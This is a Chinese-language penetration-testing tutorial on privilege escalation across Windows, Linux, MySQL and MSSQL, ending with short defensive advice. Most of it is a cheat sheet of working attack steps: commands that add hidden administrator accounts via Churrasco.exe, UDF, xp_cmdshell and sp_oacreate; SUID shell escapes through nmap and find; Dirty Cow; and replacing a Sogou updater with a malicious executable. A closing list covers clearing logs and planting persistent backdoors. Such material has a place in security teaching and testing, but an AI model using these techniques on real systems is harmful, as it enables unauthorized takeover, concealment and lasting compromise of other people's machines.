渗透测试中的提权思路(详细!)
字数 1981 2025-08-05 08:19:32
渗透测试中的提权思路详解
一、提权基础概念
提权(Privilege Escalation)是指攻击者在获得系统初始访问权限后,通过各种技术手段提升自己的权限级别,通常是从普通用户权限提升到管理员/root权限的过程。
二、Windows系统提权思路
1. 系统漏洞提权
操作步骤:
- 明确漏洞编号及版本
- 明确漏洞利用平台及版本
- 确保cmd执行权限正常运行
- 确保服务器相关防护软件情况
查看系统补丁方法:
- 方法一:
systeminfo查看系统详细信息 - 方法二:在meterpreter下执行
run post/windows/gather/enum_patches - 方法三:使用
post/multi/recon/local_exploit_suggester模块快速识别可利用漏洞 - 方法四:WMIC命令
wmic qfe get Caption,Description,HotFixID,InstalledOn - 方法五:Windows Exploit Suggester工具
示例:
利用巴西烤肉(Churrasco.exe)提权:
- 上传Churrasco.exe
- 执行添加用户命令:
Churrasco.exe "net user username password /add" - 将用户加入管理员组:
Churrasco.exe "net localgroup administrators username /add"
2. 第三方软件提权
搜狗输入法提权示例:
- 找到搜狗输入法安装路径
- 编辑恶意PinyinUp.bat并编译为PinyinUp.exe
- 替换原PinyinUp.exe文件
- 等待用户更新词库时执行恶意代码
三、Linux系统提权思路
1. 内核漏洞提权
操作步骤:
- 收集系统信息:
uname -a,cat /etc/issue - 搜索相应版本漏洞:
searchsploit linux 4.0.0 - 上传并编译exp:
gcc xxx.c -o exp - 执行提权
脏牛(Dirty Cow)漏洞示例:
- 上传并编译dirty.c
- 运行
./dirty 密码生成新root用户 - 通过SSH连接
2. SUID提权
概念:
SUID权限使文件在执行时暂时获得文件拥有者的权限。
查找SUID文件命令:
find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;
常用可提权程序:
Nmap、Vim、find、Bash、More、Less、cp
Nmap提权方法:
- 启动交互模式:
nmap --interactive - 执行
!sh获取提权shell
find提权方法:
find / -exec "/bin/sh" \;
3. Sudo提权
概念:
sudo允许已验证用户以其他用户身份执行命令。
利用方法:
检查/etc/sudoers文件,寻找可利用的命令。
四、数据库提权思路
1. MySQL提权
UDF提权
条件:
- MySQL版本<5.1:udf.dll放在system32目录
- MySQL版本>5.1:udf.dll必须放在lib\plugin目录
操作步骤:
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user username password /add');
select cmdshell('net localgroup administrators username /add');
drop function cmdshell;
MOF提权
条件:
- Windows 2003及以下
- MySQL启动身份有读写wbem/mof目录权限
- secure-file-priv不为null
原理:
利用mof文件每5秒执行的特性执行恶意代码。
2. MSSQL提权
xp_cmdshell提权
开启方法:
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 1;reconfigure;
使用示例:
exec xp_cmdshell 'net user username password /add'
exec xp_cmdshell 'net localgroup administrators username /add'
SP_OACreate提权
开启方法:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure;
使用示例:
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user username password /add'
五、反弹Shell技术
方法:
- 使用msfvenom生成反弹shell脚本
- 在攻击机开启监听:
msfconsole - 靶机执行脚本后获取meterpreter会话
- 使用
getsystem提权
常用命令:
- 获取系统信息:
sysinfo - 提权尝试:
getsystem - 开启远程服务:
run post/windows/manage/enable_rdp
六、提权后的操作
- 添加用户并加入管理员组
- 开启远程桌面服务
- 清除日志痕迹
- 建立持久化后门
七、防御建议
- 及时安装系统补丁
- 限制SUID/SGID权限
- 配置严格的sudo权限
- 数据库使用最小权限原则
- 监控异常进程和网络连接
- 定期审计系统账户和权限
通过以上详细的提权思路和方法,渗透测试人员可以全面了解各种环境下的提权技术,同时也为系统管理员提供了防御方向的参考。在实际操作中,应根据目标系统的具体情况选择最合适的提权方法。